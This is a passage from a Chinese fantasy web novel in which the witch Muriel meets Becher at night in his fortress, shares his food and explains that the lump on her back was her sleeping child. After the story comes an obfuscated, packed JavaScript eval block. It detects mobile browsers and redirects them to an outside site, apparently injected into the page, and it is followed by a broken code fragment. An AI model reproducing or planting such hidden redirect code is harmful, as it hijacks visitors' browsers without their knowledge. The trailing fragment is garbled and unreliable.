名叫托里托的女人,托里托则满脸厌烦地与他对视。男人头痛地叹了口气:见到老友固然让人欣喜,但老友带来的不好相处的人也实在叫他难受。贝歇尔疲顿地敲了两下自己的头,他决定暂时终结这场氛围古怪的会晤:“奥尔伯里,奥尔伯里!你先来把客人带到房间里去吧,对,不必先把房间打扫干净,能睡就行。对我们的客人来说,现在最重要的其实是躺下休息。”
穆里尔醒来时天还没亮,窗外是凄凉的一片幽暗,虫鸣混着鸮声在月光下盘踞蜿蜒。这位巫师难得睡了个好觉——自她告别父母们独自上路后,她的睡眠便变得碎而浅;穆里尔往往一天要睡上十几次,而这十几次中最长的那一场,充其量也不过是普通人的一次打盹而已。因此,虽然这夜的穆里尔只是睡了寻常人回笼觉那么长的时间,但对她而言已经是难得的好梦。在醒来后,她撇去了身上的负担,独自在这座熟悉而陌生的堡垒中游荡——出乎她意料的是,在这么深的夜里,贝歇尔居然在餐厅中坐着。
贝歇尔对穆里尔的到来也感到几分错愕,他原以为穆里尔同另外二人累了一天,怎么也得睡到第二天中午才是。但既然穆里尔来了,贝歇尔便热情地招待她:他招呼站在楼梯上的人下来,说话时,他还将自己餐盘里还没动过的水果、熏肉以及杯里的酒都匀了些出来放到自己的对面。
穆里尔无言地坐到贝歇尔对面,她注视着被一分为二后便显得寥寥无几的食物许久,在贝歇尔都心生疑虑时,巫师将食物推回给对面的人:“不,这是你的份额吧,你吃就好。我去厨房再拿点。”
“厨房没有。”贝歇尔又把餐盘推回到穆里尔身前,“我画画经常昼夜颠倒,所以不和小孩们一起吃,这些是奥尔伯里嘱咐专门留给我的,厨房里没有了,我们将就吃吧。”
虽然贝歇尔说话有些前言不搭后语,但穆里尔还是能轻松地读懂他的话。在短暂地思考后,穆里尔再度拒绝:“那我更不能吃了:我吃完你就没有了。”
贝歇尔摆摆手表示不用在乎这点小事:“没事,我房间里还有一堆水果呢。都是奥尔伯里送上去我还没吃的,我等等饿了啃那些就行……”在说话时,贝歇尔发现穆里尔和刚回来时不太一样了,他欣喜地指着自己的脖子示意道,“哇,你背上、不对,脖子上……反正你身上的大肿块不见了!”
“大肿块?”穆里尔不明所以地念着这个词,同时,她将手搭在了自己的肩头。很快她就意识到贝歇尔在说什么,穆里尔解释道:“啊,你是说我之前背上有块突起是吗。那不是肿块,那是我的孩子。之前她趴在我的背上睡觉,所以看起来我身上有个肿块。”
“孩子”一词叫贝歇尔思绪恍惚——他记得穆里尔是孑然一身上路的,她理应孤身一人,而她却带回了两位同伴,孩子一词出现在她口中更是让贝歇尔感到巨大的荒诞。贝歇尔迷茫了好一会,在这期间,穆里尔开口问:“你父亲呢?我没有见到他,我也没有见到沙罗……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871090|159554||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content